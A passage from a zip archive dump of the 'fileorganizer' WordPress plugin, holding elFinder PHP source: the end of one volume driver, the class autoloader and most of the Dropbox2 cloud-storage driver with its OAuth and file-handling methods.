                $res = $this->_save($fp, $path, '', array());
                fclose($fp);
            }
            file_exists($local) && unlink($local);
        }

        return $res;
    }

    /**
     * Detect available archivers.
     **/
    protected function _checkArchivers()
    {
        // die('Not yet implemented. (_checkArchivers)');
        return array();
    }

    /**
     * chmod implementation.
     *
     * @return bool
     **/
    protected function _chmod($path, $mode)
    {
        return false;
    }

    /**
     * Unpack archive.
     *
     * @param string $path archive path
     * @param array  $arc  archiver command and arguments (same as in $this->archivers)
     *
     * @return void
     * @author Dmitry (dio) Levashov
     * @author Alexey Sukhotin
     */
    protected function _unpack($path, $arc)
    {
        die('Not yet implemented. (_unpack)');
        //return false;
    }

    /**
     * Extract files from archive.
     *
     * @param string $path archive path
     * @param array  $arc  archiver command and arguments (same as in $this->archivers)
     *
     * @return void
     * @author Dmitry (dio) Levashov,
     * @author Alexey Sukhotin
     */
    protected function _extract($path, $arc)
    {
        die('Not yet implemented. (_extract)');
    }

    /**
     * Create archive and return its path.
     *
     * @param string $dir   target dir
     * @param array  $files files names list
     * @param string $name  archive name
     * @param array  $arc   archiver options
     *
     * @return string|bool
     * @author Dmitry (dio) Levashov,
     * @author Alexey Sukhotin
     **/
    protected function _archive($dir, $files, $name, $arc)
    {
        die('Not yet implemented. (_archive)');
    }
} // END class
PK���[/�n�x
x
9wp-content/plugins/fileorganizer/manager/php/autoload.phpnu�[���<?php

define('ELFINDER_PHP_ROOT_PATH', dirname(__FILE__));

function elFinderAutoloader($name)
{
    $map = array(
        'elFinder' => 'elFinder.class.php',
        'elFinderConnector' => 'elFinderConnector.class.php',
        'elFinderEditor' => 'editors/editor.php',
        'elFinderLibGdBmp' => 'libs/GdBmp.php',
        'elFinderPlugin' => 'elFinderPlugin.php',
        'elFinderPluginAutoResize' => 'plugins/AutoResize/plugin.php',
        'elFinderPluginAutoRotate' => 'plugins/AutoRotate/plugin.php',
        'elFinderPluginNormalizer' => 'plugins/Normalizer/plugin.php',
        'elFinderPluginSanitizer' => 'plugins/Sanitizer/plugin.php',
        'elFinderPluginWatermark' => 'plugins/Watermark/plugin.php',
        'elFinderSession' => 'elFinderSession.php',
        'elFinderSessionInterface' => 'elFinderSessionInterface.php',
        'elFinderVolumeDriver' => 'elFinderVolumeDriver.class.php',
        'elFinderVolumeDropbox2' => 'elFinderVolumeDropbox2.class.php',
        'elFinderVolumeFTP' => 'elFinderVolumeFTP.class.php',
        'elFinderVolumeFlysystemGoogleDriveCache' => 'elFinderFlysystemGoogleDriveNetmount.php',
        'elFinderVolumeFlysystemGoogleDriveNetmount' => 'elFinderFlysystemGoogleDriveNetmount.php',
        'elFinderVolumeGoogleDrive' => 'elFinderVolumeGoogleDrive.class.php',
        'elFinderVolumeGroup' => 'elFinderVolumeGroup.class.php',
        'elFinderVolumeLocalFileSystem' => 'elFinderVolumeLocalFileSystem.class.php',
        'elFinderVolumeMySQL' => 'elFinderVolumeMySQL.class.php',
        'elFinderVolumeSFTPphpseclib' => 'elFinderVolumeSFTPphpseclib.class.php',
        'elFinderVolumeTrash' => 'elFinderVolumeTrash.class.php',
    );
    if (isset($map[$name])) {
        return include_once(ELFINDER_PHP_ROOT_PATH . '/' . $map[$name]);
    }
    $prefix = substr($name, 0, 14);
    if (substr($prefix, 0, 8) === 'elFinder') {
        if ($prefix === 'elFinderVolume') {
            $file = ELFINDER_PHP_ROOT_PATH . '/' . $name . '.class.php';
            return (is_file($file) && include_once($file));
        } else if ($prefix === 'elFinderPlugin') {
            $file = ELFINDER_PHP_ROOT_PATH . '/plugins/' . substr($name, 14) . '/plugin.php';
            return (is_file($file) && include_once($file));
        } else if ($prefix === 'elFinderEditor') {
            $file = ELFINDER_PHP_ROOT_PATH . '/editors/' . substr($name, 14) . '/editor.php';
            return (is_file($file) && include_once($file));
        }
    }
    return false;
}

if (version_compare(PHP_VERSION, '5.3', '<')) {
    spl_autoload_register('elFinderAutoloader');
} else {
    spl_autoload_register('elFinderAutoloader', true, true);
}

PK���[�3��<�<�Mwp-content/plugins/fileorganizer/manager/php/elFinderVolumeDropbox2.class.phpnu�[���<?php

use Kunnu\Dropbox\Dropbox;
use Kunnu\Dropbox\DropboxApp;
use Kunnu\Dropbox\DropboxFile;
use Kunnu\Dropbox\Exceptions\DropboxClientException;
use Kunnu\Dropbox\Models\FileMetadata;
use Kunnu\Dropbox\Models\FolderMetadata;

/**
 * Simple elFinder driver for Dropbox
 * kunalvarma05/dropbox-php-sdk:0.1.5 or above.
 *
 * @author Naoki Sawada
 **/
class elFinderVolumeDropbox2 extends elFinderVolumeDriver
{
    /**
     * Driver id
     * Must be started from letter and contains [a-z0-9]
     * Used as part of volume id.
     *
     * @var string
     **/
    protected $driverId = 'db';

    /**
     * Dropbox service object.
     *
     * @var object
     **/
    protected $service = null;

    /**
     * Fetch options.
     *
     * @var string
     */
    private $FETCH_OPTIONS = [];

    /**
     * Directory for tmp files
     * If not set driver will try to use tmbDir as tmpDir.
     *
     * @var string
     **/
    protected $tmp = '';

    /**
     * Net mount key.
     *
     * @var string
     **/
    public $netMountKey = '';

    /**
     * Constructor
     * Extend options with required fields.
     *
     * @author Naoki Sawada
     **/
    public function __construct()
    {
        $opts = [
            'app_key' => '',
            'app_secret' => '',
            'access_token' => '',
            'aliasFormat' => '%s@Dropbox',
            'path' => '/',
            'separator' => '/',
            'acceptedName' => '#^[^\\\/]+$#',
            'rootCssClass' => 'elfinder-navbar-root-dropbox',
            'publishPermission' => [
                'requested_visibility' => 'public',
                //'link_password' => '',
                //'expires' => '',
            ],
            'getThumbSize' => 'medium', // Available sizes: 'thumb', 'small', 'medium', 'large', 'huge'
        ];
        $this->options = array_merge($this->options, $opts);
        $this->options['mimeDetect'] = 'internal';
    }

    /*********************************************************************/
    /*                        ORIGINAL FUNCTIONS                         */
    /*********************************************************************/

    /**
     * Get Parent ID, Item ID, Parent Path as an array from path.
     *
     * @param string $path
     *
     * @return array
     */
    protected function _db_splitPath($path)
    {
        $path = trim($path, '/');
        if ($path === '') {
            $dirname = '/';
            $basename = '';
        } else {
            $pos = strrpos($path, '/');
            if ($pos === false) {
                $dirname = '/';
                $basename = $path;
            } else {
                $dirname = '/' . substr($path, 0, $pos);
                $basename = substr($path, $pos + 1);
            }
        }

        return [$dirname, $basename];
    }

    /**
     * Get dat(Dropbox metadata) from Dropbox.
     *
     * @param string $path
     *
     * @return boolean|object Dropbox metadata
     */
    private function _db_getFile($path)
    {
        if ($path === '/') {
            return true;
        }

        $res = false;
        try {
            $file = $this->service->getMetadata($path, $this->FETCH_OPTIONS);
            if ($file instanceof FolderMetadata || $file instanceof FileMetadata) {
                $res = $file;
            }

            return $res;
        } catch (DropboxClientException $e) {
            return false;
        }
    }

    /**
     * Parse line from Dropbox metadata output and return file stat (array).
     *
     * @param object $raw line from ftp_rawlist() output
     *
     * @return array
     * @author Naoki Sawada
     **/
    protected function _db_parseRaw($raw)
    {
        $stat = [];
        $isFolder = false;
        if ($raw === true) {
            // root folder
            $isFolder = true;
            $stat['name'] = '';
            $stat['iid'] = '0';
        }

        $data = [];
        if (is_object($raw)) {
            $isFolder = $raw instanceof FolderMetadata;
            $data = $raw->getData();
        } elseif (is_array($raw)) {
            $isFolder = $raw['.tag'] === 'folder';
            $data = $raw;
        }

        if (isset($data['path_lower'])) {
            $stat['path'] = $data['path_lower'];
        }

        if (isset($data['name'])) {
            $stat['name'] = $data['name'];
        }

        if (isset($data['id'])) {
            $stat['iid'] = substr($data['id'], 3);
        }

        if ($isFolder) {
            $stat['mime'] = 'directory';
            $stat['size'] = 0;
            $stat['ts'] = 0;
            $stat['dirs'] = -1;
        } else {
            $stat['size'] = isset($data['size']) ? (int)$data['size'] : 0;
            if (isset($data['server_modified'])) {
                $stat['ts'] = strtotime($data['server_modified']);
            } elseif (isset($data['client_modified'])) {
                $stat['ts'] = strtotime($data['client_modified']);
            } else {
                $stat['ts'] = 0;
            }
            $stat['url'] = '1';
        }

        return $stat;
    }

    /**
     * Get thumbnail from Dropbox.
     *
     * @param string $path
     * @param string $size
     *
     * @return string | boolean
     */
    protected function _db_getThumbnail($path)
    {
        try {
            return $this->service->getThumbnail($path, $this->options['getThumbSize'])->getContents();
        } catch (DropboxClientException $e) {
            return false;
        }
    }

    /**
     * Join dir name and file name(display name) and retur full path.
     *
     * @param string $dir
     * @param string $displayName
     *
     * @return string
     */
    protected function _db_joinName($dir, $displayName)
    {
        return rtrim($dir, '/') . '/' . $displayName;
    }

    /**
     * Get OAuth2 access token form OAuth1 tokens.
     *
     * @param string $app_key
     * @param string $app_secret
     * @param string $oauth1_token
     * @param string $oauth1_secret
     *
     * @return string|false
     */
    public static function getTokenFromOauth1($app_key, $app_secret, $oauth1_token, $oauth1_secret)
    {
        $data = [
            'oauth1_token' => $oauth1_token,
            'oauth1_token_secret' => $oauth1_secret,
        ];
        $auth = base64_encode($app_key . ':' . $app_secret);

        $ch = curl_init('https://api.dropboxapi.com/2/auth/token/from_oauth1');
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'Content-Type: application/json',
            'Authorization: Basic ' . $auth,
        ]);
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
        $result = curl_exec($ch);
        curl_close($ch);

        $res = $result ? json_decode($result, true) : [];

        return isset($res['oauth2_token']) ? $res['oauth2_token'] : false;
    }

    /*********************************************************************/
    /*                        EXTENDED FUNCTIONS                         */
    /*********************************************************************/

    /**
     * Prepare
     * Call from elFinder::netmout() before volume->mount().
     *
     * @return array
     * @author Naoki Sawada
     **/
    public function netmountPrepare($options)
    {
        if (empty($options['app_key']) && defined('ELFINDER_DROPBOX_APPKEY')) {
            $options['app_key'] = ELFINDER_DROPBOX_APPKEY;
        }
        if (empty($options['app_secret']) && defined('ELFINDER_DROPBOX_APPSECRET')) {
            $options['app_secret'] = ELFINDER_DROPBOX_APPSECRET;
        }

        if (!isset($options['pass'])) {
            $options['pass'] = '';
        }

        try {
            $app = new DropboxApp($options['app_key'], $options['app_secret']);
            $dropbox = new Dropbox($app);
            $authHelper = $dropbox->getAuthHelper();

            if ($options['pass'] === 'reauth') {
                $options['pass'] = '';
                $this->session->set('Dropbox2AuthParams', [])->set('Dropbox2Tokens', []);
            } elseif ($options['pass'] === 'dropbox2') {
                $options['pass'] = '';
            }

            $options = array_merge($this->session->get('Dropbox2AuthParams', []), $options);

            if (!isset($options['tokens'])) {
                $options['tokens'] = $this->session->get('Dropbox2Tokens', []);
                $this->session->remove('Dropbox2Tokens');
            }
            $aToken = $options['tokens'];
            if (!is_array($aToken) || !isset($aToken['access_token'])) {
                $aToken = [];
            }

            $service = null;
            if ($aToken) {
                try {
                    $dropbox->setAccessToken($aToken['access_token']);
                    $this->session->set('Dropbox2AuthParams', $options);
                } catch (DropboxClientException $e) {
                    $aToken = [];
                    $options['tokens'] = [];
                    if ($options['user'] !== 'init') {
                        $this->session->set('Dropbox2AuthParams', $options);

                        return ['exit' => true, 'error' => elFinder::ERROR_REAUTH_REQUIRE];
                    }
                }
            }

            if ((isset($options['user']) && $options['user'] === 'init') || (isset($_GET['host']) && $_GET['host'] == '1')) {
                if (empty($options['url'])) {
                    $options['url'] = elFinder::getConnectorUrl();
                }

                if (!empty($options['id'])) {
                    $callback = $options['url']
                            . (strpos($options['url'], '?') !== false? '&' : '?') . 'cmd=netmount&protocol=dropbox2&host=' . ($options['id'] === 'elfinder'? '1' : $options['id']);
                }

                $itpCare = isset($options['code']);
                $code = $itpCare? $options['code'] : (isset($_GET['code'])? $_GET['code'] : '');
                $state = $itpCare? $options['state'] : (isset($_GET['state'])? $_GET['state'] : '');
                if (!$aToken && empty($code)) {
                    $url = $authHelper->getAuthUrl($callback);

                    $html = '<input id="elf-volumedriver-dropbox2-host-btn" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only" value="{msg:btnApprove}" type="button">';
                    $html .= '<script>
                        $("#' . $options['id'] . '").elfinder("instance").trigger("netmount", {protocol: "dropbox2", mode: "makebtn", url: "' . $url . '"});
                    </script>';
                    if (empty($options['pass']) && $options['host'] !== '1') {
                        $options['pass'] = 'return';
                        $this->session->set('Dropbox2AuthParams', $options);

                        return ['exit' => true, 'body' => $html];
                    } else {
                        $out = [
                            'node' => $options['id'],
                            'json' => '{"protocol": "dropbox2", "mode": "makebtn", "body" : "' . str_replace($html, '"', '\\"') . '", "error" : "' . elFinder::ERROR_ACCESS_DENIED . '"}',
                            'bind' => 'netmount',
                        ];

                        return ['exit' => 'callback', 'out' => $out];
                    }
                } else {
                    if ($code && $state) {
                        if (!empty($options['id'])) {
                            // see https://github.com/kunalvarma05/dropbox-php-sdk/issues/115
                            $authHelper->getPersistentDataStore()->set('state', filter_var($state, FILTER_SANITIZE_STRING));
                            $tokenObj = $authHelper->getAccessToken($code, $state, $callback);
                            $options['tokens'] = [
                                'access_token' => $tokenObj->getToken(),
                                'uid' => $tokenObj->getUid(),
                            ];
                            unset($options['code'], $options['state']);
                            $this->session->set('Dropbox2Tokens', $options['tokens'])->set('Dropbox2AuthParams', $options);
                            $out = [
                                'node' => $options['id'],
                                'json' => '{"protocol": "dropbox2", "mode": "done", "reset": 1}',
                                'bind' => 'netmount',
                            ];
                        } else {
                            $nodeid = ($_GET['host'] === '1')? 'elfinder' : $_GET['host'];
                            $out = [
                                'node' => $nodeid,
                                'json' => json_encode(array(
                                    'protocol' => 'dropbox2',
                                    'host' => $nodeid,
                                    'mode' => 'redirect',
                                    'options' => array(
                                        'id' => $nodeid,
                                        'code' => $code,
                                        'state' => $state
                                    )
                                )),
                                'bind' => 'netmount'
                            ];
                        }
                        if (!$itpCare) {
                            return array('exit' => 'callback', 'out' => $out);
                        } else {
                            return array('exit' => true, 'body' => $out['json']);
                        }
                    }
                    $path = $options['path'];
                    $folders = [];
                    $listFolderContents = $dropbox->listFolder($path);
                    $items = $listFolderContents->getItems();
                    foreach ($items as $item) {
                        $data = $item->getData();
                        if ($data['.tag'] === 'folder') {
                            $folders[$data['path_lower']] = $data['name'];
                        }
                    }
                    natcasesort($folders);

                    if ($options['pass'] === 'folders') {
                        return ['exit' => true, 'folders' => $folders];
                    }

                    $folders = ['/' => '/'] + $folders;
                    $folders = json_encode($folders);
                    $json = '{"protocol": "dropbox2", "mode": "done", "folders": ' . $folders . '}';
                    $options['pass'] = 'return';
                    $html = 'Dropbox.com';
                    $html .= '<script>
                        $("#' . $options['id'] . '").elfinder("instance").trigger("netmount", ' . $json . ');
                    </script>';
                    $this->session->set('Dropbox2AuthParams', $options);

                    return ['exit' => true, 'body' => $html];
                }
            }
        } catch (DropboxClientException $e) {
            $this->session->remove('Dropbox2AuthParams')->remove('Dropbox2Tokens');
            if (empty($options['pass'])) {
                return ['exit' => true, 'body' => '{msg:' . elFinder::ERROR_ACCESS_DENIED . '}' . ' ' . $e->getMessage()];
            } else {
                return ['exit' => true, 'error' => [elFinder::ERROR_ACCESS_DENIED, $e->getMessage()]];
            }
        }

        if (!$aToken) {
            return ['exit' => true, 'error' => elFinder::ERROR_REAUTH_REQUIRE];
        }

        if ($options['path'] === 'root') {
            $options['path'] = '/';
        }

        try {
            if ($options['path'] !== '/') {
                $file = $dropbox->getMetadata($options['path']);
                $name = $file->getName();
            } else {
                $name = 'root';
            }
            $options['alias'] = sprintf($this->options['aliasFormat'], $name);
        } catch (DropboxClientException $e) {
            return ['exit' => true, 'error' => $e->getMessage()];
        }

        foreach (['host', 'user', 'pass', 'id', 'offline'] as $key) {
            unset($options[$key]);
        }

        return $options;
    }

    /**
     * process of on netunmount
     * Drop `Dropbox` & rm thumbs.
     *
     * @param array $options
     *
     * @return bool
     */
    public function netunmount($netVolumes, $key)
    {
        if ($tmbs = glob(rtrim($this->options['tmbPath'], '\\/') . DIRECTORY_SEPARATOR . $this->driverId . '_' . $this->options['tokens']['uid'] . '*.png')) {
            foreach ($tmbs as $file) {
                unlink($file);
            }
        }

        return true;
    }

    /*********************************************************************/
    /*                        INIT AND CONFIGURE                         */
    /*********************************************************************/

    /**
     * Prepare Dropbox connection
     * Connect to remote server and check if credentials are correct, if so, store the connection id in $this->service.
     *
     * @return bool
     * @author Naoki Sawada
     **/
    protected function init()
    {
        if (empty($this->options['app_key'])) {
            if (defined('ELFINDER_DROPBOX_APPKEY') && ELFINDER_DROPBOX_APPKEY) {
                $this->options['app_key'] = ELFINDER_DROPBOX_APPKEY;
            } else {
                return $this->setError('Required option "app_key" is undefined.');
            }
        }
        if (empty($this->options['app_secret'])) {
            if (defined('ELFINDER_DROPBOX_APPSECRET') && ELFINDER_DROPBOX_APPSECRET) {
                $this->options['app_secret'] = ELFINDER_DROPBOX_APPSECRET;
            } else {
                return $this->setError('Required option "app_secret" is undefined.');
            }
        }
        if (isset($this->options['tokens']) && is_array($this->options['tokens']) && !empty($this->options['tokens']['access_token'])) {
            $this->options['access_token'] = $this->options['tokens']['access_token'];
        }
        if (!$this->options['access_token']) {
            return $this->setError('Required option "access_token" or "refresh_token" is undefined.');
        }

        try {
            // make net mount key for network mount
            $aToken = $this->options['access_token'];
            $this->netMountKey = md5($aToken . '-' . $this->options['path']);

            $errors = [];
            if ($this->needOnline && !$this->service) {
                $app = new DropboxApp($this->options['app_key'], $this->options['app_secret'], $aToken);
                $this->service = new Dropbox($app);
                // to check access_token
                $this->service->getCurrentAccount();
            }
        } catch (DropboxClientException $e) {
            $errors[] = 'Dropbox error: ' . $e->getMessage();
        } catch (Exception $e) {
            $errors[] = $e->getMessage();
        }

        if ($this->needOnline && !$this->service) {
            $errors[] = 'Dropbox Service could not be loaded.';
        }

        if ($errors) {
            return $this->setError($errors);
        }

        // normalize root path
        $this->options['path'] = strtolower($this->options['path']);
        if ($this->options['path'] == 'root') {
            $this->options['path'] = '/';
        }
        $this->root = $this->options['path'] = $this->_normpath($this->options['path']);

        if (empty($this->options['alias'])) {
            $this->options['alias'] = sprintf($this->options['aliasFormat'], ($this->options['path'] === '/') ? 'Root' : $this->_basename($this->options['path']));
            if (!empty($this->options['netkey'])) {
                elFinder::$instance->updateNetVolumeOption($this->options['netkey'], 'alias', $this->options['alias']);
            }
        }

        $this->rootName = $this->options['alias'];

        if (!empty($this->options['tmpPath'])) {
            if ((is_dir($this->options['tmpPath']) || mkdir($this->options['tmpPath'])) && is_writable($this->options['tmpPath'])) {
                $this->tmp = $this->options['tmpPath'];
            }
        }

        if (!$this->tmp && ($tmp = elFinder::getStaticVar('commonTempPath'))) {
            $this->tmp = $tmp;
        }

        // This driver dose not support `syncChkAsTs`
        $this->options['syncChkAsTs'] = false;

        // 'lsPlSleep' minmum 10 sec
        $this->options['lsPlSleep'] = max(10, $this->options['lsPlSleep']);

        // enable command archive
        $this->options['useRemoteArchive'] = true;

        return true;
    }

    /**
     * Configure after successfull mount.
     *
     * @author Naoki Sawada
     * @throws elFinderAbortException
     */
    protected function configure()
    {
        parent::configure();

        // fallback of $this->tmp
        if (!$this->tmp && $this->tmbPathWritable) {
            $this->tmp = $this->tmbPath;
        }

        if ($this->isMyReload()) {
            //$this->_db_getDirectoryData(false);
        }
    }

    /*********************************************************************/
    /*                               FS API                              */
    /*********************************************************************/

    /**
     * Close opened connection.
     **/
    public function umount()
    {
    }

    /**
     * Cache dir contents.
     *
     * @param string $path dir path
     *
     * @return
     * @author Naoki Sawada
     */
    protected function cacheDir($path)
    {
        $this->dirsCache[$path] = [];
        $hasDir = false;

        $res = $this->service->listFolder($path, $this->FETCH_OPTIONS);

        if ($res) {
            $items = $res->getItems()->all();
            foreach ($items as $raw) {
                if ($stat = $this->_db_parseRaw($raw)) {
                    $mountPath = $this->_joinPath($path, $stat['name']);
                    $stat = $this->updateCache($mountPath, $stat);
                    if (empty($stat['hidden']) && $path !== $mountPath) {
                        if (!$hasDir && $stat['mime'] === 'directory') {
                            $hasDir = true;
                        }
                        $this->dirsCache[$path][] = $mountPath;
                    }
                }
            }
        }

        if (isset($this->sessionCache['subdirs'])) {
            $this->sessionCache['subdirs'][$path] = $hasDir;
        }

        return $this->dirsCache[$path];
    }

    /**
     * Recursive files search.
     *
     * @param string $path dir path
     * @param string $q    search string
     * @param array  $mimes
     *
     * @return array
     * @throws elFinderAbortException
     * @author Naoki Sawada
     */
    protected function doSearch($path, $q, $mimes)
    {
        if (!empty($this->doSearchCurrentQuery['matchMethod']) || $mimes) {
            // has custom match method or mimes, use elFinderVolumeDriver::doSearch()
            return parent::doSearch($path, $q, $mimes);
        }

        $timeout = $this->options['searchTimeout'] ? $this->searchStart + $this->options['searchTimeout'] : 0;

        $searchRes = $this->service->search($path, $q, ['start' => 0, 'max_results' => 1000]);
        $items = $searchRes->getItems();
        $more = $searchRes->hasMoreItems();
        while ($more) {
            if ($timeout && $timeout < time()) {
                $this->setError(elFinder::ERROR_SEARCH_TIMEOUT, $this->_path($path));
                break;
            }
            $searchRes = $this->service->search($path, $q, ['start' => $searchRes->getCursor(), 'max_results' => 1000]);
            $more = $searchRes->hasMoreItems();
            $items = $items->merge($searchRes->getItems());
        }

        $result = [];
        foreach ($items as $raw) {
            if ($stat = $this->_db_parseRaw($raw->getMetadata())) {
                $stat = $this->updateCache($stat['path'], $stat);
                if (empty($stat['hidden'])) {
                    $result[] = $stat;
                }
            }
        }

        return $result;
    }

    /**
     * Copy file/recursive copy dir only in current volume.
     * Return new file path or false.
     *
     * @param string $src  source path
     * @param string $dst  destination dir path
     * @param string $name new file name (optionaly)
     *
     * @return string|false
     * @throws elFinderAbortException
     * @author Naoki Sawada
     */
    protected function copy($src, $dst, $name)
    {
        $srcStat = $this->stat($src);
        $target = $this->_joinPath($dst, $name);
        $tgtStat = $this->stat($target);
        if ($tgtStat) {
            if ($srcStat['mime'] === 'directory') {
                return parent::copy($src, $dst, $name);
            } else {
                $this->_unlink($target);
            }
        }
        $this->clearcache();
        if ($res = $this->_copy($src, $dst, $name)) {
            $this->added[] = $this->stat($target);
            $res = $target;
        }

        return $res;
    }

    /**
     * Remove file/ recursive remove dir.
     *
     * @param string $path  file path
     * @param bool   $force try to remove even if file locked
     * @param bool   $recursive
     *
     * @return bool
     * @throws elFinderAbortException
     * @author Naoki Sawada
     */
    protected function remove($path, $force = false, $recursive = false)
    {
        $stat = $this->stat($path);
        $stat['realpath'] = $path;
        $this->rmTmb($stat);
        $this->clearcache();

        if (empty($stat)) {
            return $this->setError(elFinder::ERROR_RM, $this->_path($path), elFinder::ERROR_FILE_NOT_FOUND);
        }

        if (!$force && !empty($stat['locked'])) {
            return $this->setError(elFinder::ERROR_LOCKED, $this->_path($path));
        }

        if ($stat['mime'] == 'directory') {
            if (!$recursive && !$this->_rmdir($path)) {
                return $this->setError(elFinder::ERROR_RM, $this->_path($path));
            }
        } else {
            if (!$recursive && !$this->_unlink($path)) {
                return $this->setError(elFinder::ERROR_RM, $this->_path($path));
            }
        }

        $this->removed[] = $stat;

        return true;
    }

    /**
     * Create thumnbnail and return it's URL on success.
     *
     * @param string $path file path
     * @param        $stat
     *
     * @return string|false
     * @throws ImagickException
     * @throws elFinderAbortException
     * @author Naoki Sawada
     */
    protected function createTmb($path, $stat)
    {
        if (!$stat || !$this->canCreateTmb($path, $stat)) {
            return false;
        }

        $name = $this->tmbname($stat);
        $tmb = $this->tmbPath . DIRECTORY_SEPARATOR . $name;

        // copy image into tmbPath so some drivers does not store files on local fs
        if (!$data = $this->_db_getThumbnail($path)) {
            return false;
        }
        if (!file_put_contents($tmb, $data)) {
            return false;
        }

        $tmbSize = $this->tmbSize;

        if (($s = getimagesize($tmb)) == false) {
            return false;
        }

        $result = true;

        /* If image smaller or equal thumbnail size - just fitting to thumbnail square */
        if ($s[0] <= $tmbSize && $s[1] <= $tmbSize) {
            $result = $this->imgSquareFit($tmb, $tmbSize, $tmbSize, 'center', 'middle', $this->options['tmbBgColor'], 'png');
        } else {
            if ($this->options['tmbCrop']) {

                /* Resize and crop if image bigger than thumbnail */
                if (!(($s[0] > $tmbSize && $s[1] <= $tmbSize) || ($s[0] <= $tmbSize && $s[1] > $tmbSize)) || ($s[0] > $tmbSize && $s[1] > $tmbSize)) {
                    $result = $this->imgResize($tmb, $tmbSize, $tmbSize, true, false, 'png');
                }

                if ($result && ($s = getimagesize($tmb)) != false) {
                    $x = $s[0] > $tmbSize ? intval(($s[0] - $tmbSize) / 2) : 0;
                    $y = $s[1] > $tmbSize ? intval(($s[1] - $tmbSize) / 2) : 0;
                    $result = $this->imgCrop($tmb, $tmbSize, $tmbSize, $x, $y, 'png');
                }
            } else {
                $result = $this->imgResize($tmb, $tmbSize, $tmbSize, true, true, 'png');
            }

            if ($result) {
                $result = $this->imgSquareFit($tmb, $tmbSize, $tmbSize, 'center', 'middle', $this->options['tmbBgColor'], 'png');

            }
        }

        if (!$result) {
            unlink($tmb);

            return false;
        }

        return $name;
    }

    /**
     * Return thumbnail file name for required file.
     *
     * @param array $stat file stat
     *
     * @return string
     * @author Naoki Sawada
     **/
    protected function tmbname($stat)
    {
        $name = $this->driverId . '_';
        if (isset($this->options['tokens']) && is_array($this->options['tokens'])) {
            $name .= $this->options['tokens']['uid'];
        }

        return $name . md5($stat['iid']) . $stat['ts'] . '.png';
    }

    /**
     * Return content URL (for netmout volume driver)
     * If file.url == 1 requests from JavaScript client with XHR.
     *
     * @param string $hash    file hash
     * @param array  $options options array
     *
     * @return bool|string
     * @author Naoki Sawada
     */
    public function getContentUrl($hash, $options = [])
    {
        if (!empty($options['onetime']) && $this->options['onetimeUrl']) {
            return parent::getContentUrl($hash, $options);
        }
        if (!empty($options['temporary'])) {
            // try make temporary file
            $url = parent::getContentUrl($hash, $options);
            if ($url) {
                return $url;
            }
        }
        $file = $this->file($hash);
        if (($file = $this->file($hash)) !== false && (!$file['url'] || $file['url'] == 1)) {
            $path = $this->decode($hash);
            $url = '';
            try {
                $res = $this->service->postToAPI('/sharing/list_shared_links', ['path' => $path, 'direct_only' => true])->getDecodedBody();
                if ($res && !empty($res['links'])) {
                    foreach ($res['links'] as $link) {
                        if (isset($link['link_permissions'])
                            && isset($link['link_permissions']['requested_visibility'])
                            && $link['link_permissions']['requested_visibility']['.tag'] === $this->options['publishPermission']['requested_visibility']) {
                            $url = $link['url'];
                            break;
                        }
                    }
                }
                if (!$url) {
                    $res = $this->service->postToAPI('/sharing/create_shared_link_with_settings', ['path' => $path, 'settings' => $this->options['publishPermission']])->getDecodedBody();
                    if (isset($res['url'])) {
                        $url = $res['url'];
                    }
                }
                if ($url) {
                    $url = str_replace('www.dropbox.com', 'dl.dropboxusercontent.com', $url);
                    $url = str_replace('?dl=0', '', $url);

                    return $url;
                }
            } catch (DropboxClientException $e) {
                return $this->setError('Dropbox error: ' . $e->getMessage());
            }
        }

        return false;
    }

    /**
     * Return debug info for client.
     *
     * @return array
     **/
    public function debug()
    {
        $res = parent::debug();
        if (!empty($this->options['netkey']) && isset($this->options['tokens']) && !empty($this->options['tokens']['uid'])) {
            $res['Dropbox uid'] = $this->options['tokens']['uid'];
            $res['access_token'] = $this->options['tokens']['access_token'];
        }

        return $res;
    }

    /*********************** paths/urls *************************/

    /**
     * Return parent directory path.
     *
     * @param string $path file path
     *
     * @return string
     * @author Naoki Sawada
     **/
    protected function _dirname($path)
    {
        list($dirname) = $this->_db_splitPath($path);

        return $dirname;
    }

    /**
     * Return file name.
     *
     * @param string $path file path
     *
     * @return string
     * @author Naoki Sawada
     **/
    protected function _basename($path)
    {
        list(, $basename) = $this->_db_splitPath($path);

        return $basename;
    }

    /**
     * Join dir name and file name and retur full path.
     *
     * @param string $dir
     * @param string $name
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _joinPath($dir, $name)
    {
        return rtrim($dir, '/') . '/' . strtolower($name);
    }

    /**
     * Return normalized path, this works the same as os.path.normpath() in Python.
     *
     * @param string $path path
     *
     * @return string
     * @author Naoki Sawada
     **/
    protected function _normpath($path)
    {
        return '/' . ltrim($path, '/');
    }

    /**
     * Return file path related to root dir.
     *
     * @param string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _relpath($path)
    {
        if ($path === $this->root) {
            return '';
        } else {
            return ltrim(substr($path, strlen($this->root)), '/');
        }
    }

    /**
     * Convert path related to root dir into real path.
     *
     * @param string $path file path
     *
     * @return string
     * @author Naoki Sawada
     **/
    protected function _abspath($path)
    {
        if ($path === '/') {
            return $this->root;
        } else {
            return $this->_joinPath($this->root, $path);
        }
    }

    /**
     * Return fake path started from root dir.
     *
     * @param string $path file path
     *
     * @return string
     * @author Naoki Sawada
     **/
    protected function _path($path)
    {
        $path = $this->_normpath(substr($path, strlen($this->root)));

        return $path;
    }

    /**
     * Return true if $path is children of $parent.
     *
     * @param string $path   path to check
     * @param string $parent parent path
     *
     * @return bool
     * @author Naoki Sawada
     **/
    protected function _inpath($path, $parent)
    {
        return $path == $parent || strpos($path, $parent . '/') === 0;
    }

    /***************** file stat ********************/
    /**
     * Return stat for given path.
     * Stat contains following fields:
     * - (int)    size    file size in b. required
     * - (int)    ts      file modification time in unix time. required
     * - (string) mime    mimetype. required for folders, others - optionally
     * - (bool)   read    read permissions. required
     * - (bool)   write   write permissions. required
     * - (bool)   locked  is object locked. optionally
     * - (bool)   hidden  is object hidden. optionally
     * - (string) alias   for symlinks - link target path relative to root path. optionally
     * - (string) target  for symlinks - link target path. optionally.
     * If file does not exists - returns empty array or false.
     *
     * @param string $path file path
     *
     * @return array|false
     * @author Dmitry (dio) Levashov
     **/
    protected function _stat($path)
    {
        if ($raw = $this->_db_getFile($path)) {
            return $this->_db_parseRaw($raw);
        }

        return false;
    }

    /**
     * Return true if path is dir and has at least one childs directory.
     *
     * @param string $path dir path
     *
     * @return bool
